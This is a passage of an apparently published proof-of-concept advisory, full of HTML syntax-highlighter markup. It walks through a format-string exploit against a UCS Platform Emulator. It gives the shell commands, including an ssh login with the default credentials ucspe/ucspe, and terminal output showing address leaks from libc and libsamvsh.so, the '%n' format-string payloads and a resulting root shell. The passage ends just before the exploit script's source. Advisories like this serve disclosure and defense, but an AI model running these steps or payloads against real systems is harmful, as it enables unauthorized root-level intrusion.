class=\"crayon-v\">output<\/span><\/div>\n<\/div>\n<\/td>\n<\/tr>\n<\/table><\/div>\n<\/p><\/div>\n<p>  <!-- [Format Time: 0.0001 seconds] -->  <\/p>\n<li>Run ssh with <em>stdin<\/em> redirected from <em>fifo1<\/em> and <em>stdout<\/em> redirected to output\/log file:<\/li>\n<p><!-- Crayon Syntax Highlighter v_2.7.2_beta -->    \t\t<\/p>\n<div id=\"crayon-59fa485c130b2265919314\" class=\"crayon-syntax crayon-theme-classic crayon-font-monaco crayon-os-pc print-yes notranslate\" data-settings=\" minimize scroll-mouseover\" style=\" margin-top: 12px; margin-bottom: 12px; font-size: 12px !important; line-height: 15px !important;\">\n<div class=\"crayon-toolbar\" data-settings=\" mouseover overlay hide delay\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\"><span class=\"crayon-title\"><\/span>  \t\t\t<\/p>\n<div class=\"crayon-tools\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\">\n<div class=\"crayon-button crayon-nums-button\" title=\"Toggle Line Numbers\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-plain-button\" title=\"Toggle Plain Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-wrap-button\" title=\"Toggle Line Wrap\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-expand-button\" title=\"Expand Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-copy-button\" title=\"Copy\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-popup-button\" title=\"Open Code In New Window\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<\/div>\n<\/div>\n<div class=\"crayon-info\" style=\"min-height: 16.8px !important; line-height: 16.8px !important;\"><\/div>\n<div class=\"crayon-plain-wrap\"><textarea wrap=\"soft\" class=\"crayon-plain print-no\" data-settings=\"dblclick\" readonly style=\"-moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4; font-size: 12px !important; line-height: 15px !important;\"> tail -f fifo1 | ssh ucspe@192.168.1.43 &gt; output\/log    # use default credentials ucspe\/ucspe<\/textarea><\/div>\n<div class=\"crayon-main\" style=\"\">\n<table class=\"crayon-table\">\n<tr class=\"crayon-row\">\n<td class=\"crayon-nums\" data-settings=\"show\">\n<div class=\"crayon-nums-content\" style=\"font-size: 12px !important; line-height: 15px !important;\">\n<div class=\"crayon-num\" data-line=\"crayon-59fa485c130b2265919314-1\">1<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-59fa485c130b2265919314-2\">2<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-59fa485c130b2265919314-3\">3<\/div>\n<\/div>\n<\/td>\n<td class=\"crayon-code\">\n<div class=\"crayon-pre\" style=\"font-size: 12px !important; line-height: 15px !important; -moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4;\">\n<div class=\"crayon-line\" id=\"crayon-59fa485c130b2265919314-1\"><span class=\"crayon-v\">tail<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-i\">f<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">fifo1<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">|<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">ssh <\/span><span class=\"crayon-v\">ucspe<\/span><span class=\"crayon-sy\">@<\/span><span class=\"crayon-cn\">192.168.1.43<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">&gt;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">output<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-v\">log<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-59fa485c130b2265919314-2\">&nbsp;<\/div>\n<div class=\"crayon-line\" id=\"crayon-59fa485c130b2265919314-3\"><span class=\"crayon-p\"># use default credentials ucspe\/ucspe<\/span><\/div>\n<\/div>\n<\/td>\n<\/tr>\n<\/table><\/div>\n<\/p><\/div>\n<p>  <!-- [Format Time: 0.0004 seconds] -->  <\/p>\n<\/ol>\n<p>On the second terminal (terminal2):<\/p>\n<ol>\n<li>Change current directory to <em>poc<\/em><\/li>\n<li>Run the poc4_ucspe_3.1.2e.py <\/li>\n<\/ol>\n<p>The output should be:<\/p>\n<p><u>TERMINAL1<\/u><\/p>\n<\/p>\n<p><!-- Crayon Syntax Highlighter v_2.7.2_beta -->    \t\t<\/p>\n<div id=\"crayon-59fa485c130b4930084511\" class=\"crayon-syntax crayon-theme-classic crayon-font-monaco crayon-os-pc print-yes notranslate\" data-settings=\" minimize scroll-mouseover\" style=\" margin-top: 12px; margin-bottom: 12px; font-size: 12px !important; line-height: 15px !important;\">\n<div class=\"crayon-toolbar\" data-settings=\" mouseover overlay hide delay\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\"><span class=\"crayon-title\"><\/span>  \t\t\t<\/p>\n<div class=\"crayon-tools\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\">\n<div class=\"crayon-button crayon-nums-button\" title=\"Toggle Line Numbers\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-plain-button\" title=\"Toggle Plain Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-wrap-button\" title=\"Toggle Line Wrap\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-expand-button\" title=\"Expand Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-copy-button\" title=\"Copy\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-popup-button\" title=\"Open Code In New Window\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<\/div>\n<\/div>\n<div class=\"crayon-info\" style=\"min-height: 16.8px !important; line-height: 16.8px !important;\"><\/div>\n<div class=\"crayon-plain-wrap\"><textarea wrap=\"soft\" class=\"crayon-plain print-no\" data-settings=\"dblclick\" readonly style=\"-moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4; font-size: 12px !important; line-height: 15px !important;\"> demo@kali:~\/poc$ mkfifo fifo1  demo@kali:~\/poc$ mkdir output  demo@kali:~\/poc$ tail -f fifo1 | ssh ucspe@192.168.1.43 &gt; output\/log  Pseudo-terminal will not be allocated because stdin is not a terminal.  The authenticity of host &#8216;192.168.1.43 (192.168.1.43)&#8217; can&#8217;t be established.  RSA key fingerprint is SHA256:qEdgqNFyfqA2BU1+cH9rmYrsIOiQr\/NlCpgAyzrX70Y.  Are you sure you want to continue connecting (yes\/no)? yes  Warning: Permanently added &#8216;192.168.1.43&#8217; (RSA) to the list of known hosts.  uucspe@192.168.1.43&#8217;s password:  TERM environment variable not set.<\/textarea><\/div>\n<div class=\"crayon-main\" style=\"\">\n<table class=\"crayon-table\">\n<tr class=\"crayon-row\">\n<td class=\"crayon-nums\" data-settings=\"show\">\n<div class=\"crayon-nums-content\" style=\"font-size: 12px !important; line-height: 15px !important;\">\n<div class=\"crayon-num\" data-line=\"crayon-59fa485c130b4930084511-1\">1<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-59fa485c130b4930084511-2\">2<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-59fa485c130b4930084511-3\">3<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-59fa485c130b4930084511-4\">4<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-59fa485c130b4930084511-5\">5<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-59fa485c130b4930084511-6\">6<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-59fa485c130b4930084511-7\">7<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-59fa485c130b4930084511-8\">8<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-59fa485c130b4930084511-9\">9<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-59fa485c130b4930084511-10\">10<\/div>\n<\/div>\n<\/td>\n<td class=\"crayon-code\">\n<div class=\"crayon-pre\" style=\"font-size: 12px !important; line-height: 15px !important; -moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4;\">\n<div class=\"crayon-line\" id=\"crayon-59fa485c130b4930084511-1\"><span class=\"crayon-v\">demo<\/span><span class=\"crayon-sy\">@<\/span><span class=\"crayon-v\">kali<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-o\">~<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-v\">poc<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">mkfifo <\/span><span class=\"crayon-e\">fifo1<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-59fa485c130b4930084511-2\"><span class=\"crayon-v\">demo<\/span><span class=\"crayon-sy\">@<\/span><span class=\"crayon-v\">kali<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-o\">~<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-v\">poc<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">mkdir <\/span><span class=\"crayon-e\">output<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-59fa485c130b4930084511-3\"><span class=\"crayon-v\">demo<\/span><span class=\"crayon-sy\">@<\/span><span class=\"crayon-v\">kali<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-o\">~<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-v\">poc<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">tail<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-i\">f<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">fifo1<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">|<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">ssh <\/span><span class=\"crayon-v\">ucspe<\/span><span class=\"crayon-sy\">@<\/span><span class=\"crayon-cn\">192.168.1.43<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">&gt;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">output<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-e\">log<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-59fa485c130b4930084511-4\"><span class=\"crayon-v\">Pseudo<\/span><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-e\">terminal <\/span><span class=\"crayon-e\">will <\/span><span class=\"crayon-st\">not<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">be <\/span><span class=\"crayon-e\">allocated <\/span><span class=\"crayon-e\">because <\/span><span class=\"crayon-e\">stdin <\/span><span class=\"crayon-st\">is<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-st\">not<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-i\">a<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">terminal<\/span><span class=\"crayon-sy\">.<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-59fa485c130b4930084511-5\"><span class=\"crayon-e\">The <\/span><span class=\"crayon-e\">authenticity <\/span><span class=\"crayon-e\">of <\/span><span class=\"crayon-i\">host<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8216;192.168.1.43 (192.168.1.43)&#8217;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-i\">can<\/span><span class=\"crayon-s\">&#8216;t be established.<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-59fa485c130b4930084511-6\"><span class=\"crayon-s\">RSA key fingerprint is SHA256:qEdgqNFyfqA2BU1+cH9rmYrsIOiQr\/NlCpgAyzrX70Y.<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-59fa485c130b4930084511-7\"><span class=\"crayon-s\">Are you sure you want to continue connecting (yes\/no)? yes<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-59fa485c130b4930084511-8\"><span class=\"crayon-s\">Warning: Permanently added &#8216;<\/span><span class=\"crayon-cn\">192.168.1.43<\/span><span class=\"crayon-s\">&#8216; (RSA) to the list of known hosts.<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-59fa485c130b4930084511-9\"><span class=\"crayon-s\">uucspe@192.168.1.43&#8242;<\/span><span class=\"crayon-i\">s<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">password<\/span><span class=\"crayon-o\">:<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-59fa485c130b4930084511-10\"><span class=\"crayon-e\">TERM <\/span><span class=\"crayon-e\">environment <\/span><span class=\"crayon-e\">variable <\/span><span class=\"crayon-st\">not<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">set<\/span><span class=\"crayon-sy\">.<\/span><\/div>\n<\/div>\n<\/td>\n<\/tr>\n<\/table><\/div>\n<\/p><\/div>\n<p>  <!-- [Format Time: 0.0016 seconds] -->  <\/p>\n<p><u>TERMINAL2<\/u><\/p>\n<\/p>\n<p><!-- Crayon Syntax Highlighter v_2.7.2_beta -->    \t\t<\/p>\n<div id=\"crayon-59fa485c130b7440114698\" class=\"crayon-syntax crayon-theme-classic crayon-font-monaco crayon-os-pc print-yes notranslate\" data-settings=\" minimize scroll-mouseover\" style=\" margin-top: 12px; margin-bottom: 12px; font-size: 12px !important; line-height: 15px !important;\">\n<div class=\"crayon-toolbar\" data-settings=\" mouseover overlay hide delay\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\"><span class=\"crayon-title\"><\/span>  \t\t\t<\/p>\n<div class=\"crayon-tools\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\">\n<div class=\"crayon-button crayon-nums-button\" title=\"Toggle Line Numbers\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-plain-button\" title=\"Toggle Plain Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-wrap-button\" title=\"Toggle Line Wrap\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-expand-button\" title=\"Expand Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-copy-button\" title=\"Copy\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-popup-button\" title=\"Open Code In New Window\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<\/div>\n<\/div>\n<div class=\"crayon-info\" style=\"min-height: 16.8px !important; line-height: 16.8px !important;\"><\/div>\n<div class=\"crayon-plain-wrap\"><textarea wrap=\"soft\" class=\"crayon-plain print-no\" data-settings=\"dblclick\" readonly style=\"-moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4; font-size: 12px !important; line-height: 15px !important;\"> demo@kali:~\/poc$ python poc4_ucspe_3.1.2e.py  Going through some menus please wait a moment..  You should now see on the other terminal message simmilar to &#8220;Error: Already in local-mgmt shell..&#8221;  [.] Dumping clicli::LocalMgmtSel::show(void*, base::String const&amp;) addres from libsamvsh.so      -&gt; 0x6b9f64  [.] Calculating _ZN7clidcos15CommandEmulator16cli_param_filterEPKc .got.plt      -&gt; 0x6d7a70  [.] Dumping snprintf address from libc      -&gt; 0x7791210  [.] Calculating libc system address      -&gt; libc base addr = 0x7746000      -&gt; system addr = 0x7780f60    [.] Sending payload..  show sel %62c%28$nAAA  show sel %237c%28$nAA  show sel %86c%28$nAAA  show sel %229c%28$nAA  Sleep for fork adjustment..  Ok please type your commands (type exit for exit)  &gt; id  [&#8216;uid=0(root) gid=0(root) groups=0(root)&#8217;]  &gt;<\/textarea><\/div>\n<div class=\"crayon-main\" style=\"\">\n<table class=\"crayon-table\">\n<tr class=\"crayon-row\">\n<td class=\"crayon-nums\" data-settings=\"show\">\n<div class=\"crayon-nums-content\" style=\"font-size: 12px !important; line-height: 15px !important;\">\n<div class=\"crayon-num\" data-line=\"crayon-59fa485c130b7440114698-1\">1<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-59fa485c130b7440114698-2\">2<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-59fa485c130b7440114698-3\">3<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-59fa485c130b7440114698-4\">4<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-59fa485c130b7440114698-5\">5<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-59fa485c130b7440114698-6\">6<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-59fa485c130b7440114698-7\">7<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-59fa485c130b7440114698-8\">8<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-59fa485c130b7440114698-9\">9<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-59fa485c130b7440114698-10\">10<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-59fa485c130b7440114698-11\">11<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-59fa485c130b7440114698-12\">12<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-59fa485c130b7440114698-13\">13<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-59fa485c130b7440114698-14\">14<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-59fa485c130b7440114698-15\">15<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-59fa485c130b7440114698-16\">16<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-59fa485c130b7440114698-17\">17<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-59fa485c130b7440114698-18\">18<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-59fa485c130b7440114698-19\">19<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-59fa485c130b7440114698-20\">20<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-59fa485c130b7440114698-21\">21<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-59fa485c130b7440114698-22\">22<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-59fa485c130b7440114698-23\">23<\/div>\n<\/div>\n<\/td>\n<td class=\"crayon-code\">\n<div class=\"crayon-pre\" style=\"font-size: 12px !important; line-height: 15px !important; -moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4;\">\n<div class=\"crayon-line\" id=\"crayon-59fa485c130b7440114698-1\"><span class=\"crayon-v\">demo<\/span><span class=\"crayon-sy\">@<\/span><span class=\"crayon-v\">kali<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-o\">~<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-v\">poc<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">python <\/span><span class=\"crayon-v\">poc4_ucspe_3<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-cn\">1.2e.py<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-59fa485c130b7440114698-2\"><span class=\"crayon-e\">Going <\/span><span class=\"crayon-e\">through <\/span><span class=\"crayon-e\">some <\/span><span class=\"crayon-e\">menus <\/span><span class=\"crayon-e\">please <\/span><span class=\"crayon-i\">wait<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-i\">a<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">moment<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-sy\">.<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-59fa485c130b7440114698-3\"><span class=\"crayon-e\">You <\/span><span class=\"crayon-e\">should <\/span><span class=\"crayon-e\">now <\/span><span class=\"crayon-e\">see <\/span><span class=\"crayon-e\">on <\/span><span class=\"crayon-e\">the <\/span><span class=\"crayon-e\">other <\/span><span class=\"crayon-e\">terminal <\/span><span class=\"crayon-e\">message <\/span><span class=\"crayon-e\">simmilar <\/span><span class=\"crayon-st\">to<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8220;Error: Already in local-mgmt shell..&#8221;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-59fa485c130b7440114698-4\"><span class=\"crayon-sy\">[<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">Dumping <\/span><span class=\"crayon-v\">clicli<\/span><span class=\"crayon-o\">::<\/span><span class=\"crayon-v\">LocalMgmtSel<\/span><span class=\"crayon-o\">::<\/span><span class=\"crayon-e\">show<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-t\">void<\/span><span class=\"crayon-o\">*<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">base<\/span><span class=\"crayon-o\">::<\/span><span class=\"crayon-t\">String<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-m\">const<\/span><span class=\"crayon-o\">&amp;<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">addres <\/span><span class=\"crayon-e\">from <\/span><span class=\"crayon-v\">libsamvsh<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">so<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-59fa485c130b7440114698-5\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0x6b9f64<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-59fa485c130b7440114698-6\"><span class=\"crayon-sy\">[<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">Calculating <\/span><span class=\"crayon-v\">_ZN7clidcos15CommandEmulator16cli_param<\/span><span class=\"crayon-sy\">_<\/span>filterEPKc<span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">got<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">plt<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-59fa485c130b7440114698-7\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0x6d7a70<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-59fa485c130b7440114698-8\"><span class=\"crayon-sy\">[<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">Dumping <\/span><span class=\"crayon-e\">snprintf <\/span><span class=\"crayon-e\">address <\/span><span class=\"crayon-e\">from <\/span><span class=\"crayon-v\">libc<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-59fa485c130b7440114698-9\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0x7791210<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-59fa485c130b7440114698-10\"><span class=\"crayon-sy\">[<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">Calculating <\/span><span class=\"crayon-e\">libc <\/span><span class=\"crayon-e\">system <\/span><span class=\"crayon-v\">address<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-59fa485c130b7440114698-11\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">libc <\/span><span class=\"crayon-e\">base <\/span><span class=\"crayon-v\">addr<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0x7746000<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-59fa485c130b7440114698-12\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">system <\/span><span class=\"crayon-v\">addr<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0x7780f60<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-59fa485c130b7440114698-13\">&nbsp;<\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-59fa485c130b7440114698-14\"><span class=\"crayon-sy\">[<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">Sending <\/span><span class=\"crayon-v\">payload<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-sy\">.<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-59fa485c130b7440114698-15\"><span class=\"crayon-e\">show <\/span><span class=\"crayon-v\">sel<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">%<\/span><span class=\"crayon-cn\">62c<\/span><span class=\"crayon-o\">%<\/span><span class=\"crayon-cn\">28<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-e\">nAAA<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-59fa485c130b7440114698-16\"><span class=\"crayon-e\">show <\/span><span class=\"crayon-v\">sel<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">%<\/span><span class=\"crayon-cn\">237c<\/span><span class=\"crayon-o\">%<\/span><span class=\"crayon-cn\">28<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-e\">nAA<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-59fa485c130b7440114698-17\"><span class=\"crayon-e\">show <\/span><span class=\"crayon-v\">sel<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">%<\/span><span class=\"crayon-cn\">86c<\/span><span class=\"crayon-o\">%<\/span><span class=\"crayon-cn\">28<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-e\">nAAA<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-59fa485c130b7440114698-18\"><span class=\"crayon-e\">show <\/span><span class=\"crayon-v\">sel<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">%<\/span><span class=\"crayon-cn\">229c<\/span><span class=\"crayon-o\">%<\/span><span class=\"crayon-cn\">28<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-e\">nAA<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-59fa485c130b7440114698-19\"><span class=\"crayon-e\">Sleep <\/span><span class=\"crayon-st\">for<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">fork <\/span><span class=\"crayon-v\">adjustment<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-sy\">.<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-59fa485c130b7440114698-20\"><span class=\"crayon-e\">Ok <\/span><span class=\"crayon-e\">please <\/span><span class=\"crayon-e\">type <\/span><span class=\"crayon-e\">your <\/span><span class=\"crayon-e\">commands<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-e\">type <\/span><span class=\"crayon-e\">exit <\/span><span class=\"crayon-st\">for<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">exit<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-59fa485c130b7440114698-21\"><span class=\"crayon-o\">&gt;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-i\">id<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-59fa485c130b7440114698-22\"><span class=\"crayon-sy\">[<\/span><span class=\"crayon-s\">&#8216;uid=0(root) gid=0(root) groups=0(root)&#8217;<\/span><span class=\"crayon-sy\">]<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-59fa485c130b7440114698-23\"><span class=\"crayon-o\">&gt;<\/span><\/div>\n<\/div>\n<\/td>\n<\/tr>\n<\/table><\/div>\n<\/p><\/div>\n<p>  <!-- [Format Time: 0.0036 seconds] -->  <\/p>\n<p><strong>poc4_ucspe_3.1.2e.py<\/strong><\/p>\n<\/p>\n<p><!-- Crayon Syntax Highlighter v_2.7.2_beta -->    \t\t<\/p>\n<div id=\"crayon-59fa485c130ba743344774\" class=\"crayon-syntax crayon-theme-classic crayon-font-monaco crayon-os-pc print-yes notranslate\" data-settings=\" minimize scroll-mouseover\" style=\" margin-top: 12px; margin-bottom: 12px; font-size: 12px !important; line-height: 15px !important;\">\n<div class=\"crayon-toolbar\" data-settings=\" mouseover overlay hide delay\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\"><span class=\"crayon-title\"><\/span>  \t\t\t<\/p>\n<div class=\"crayon-tools\" 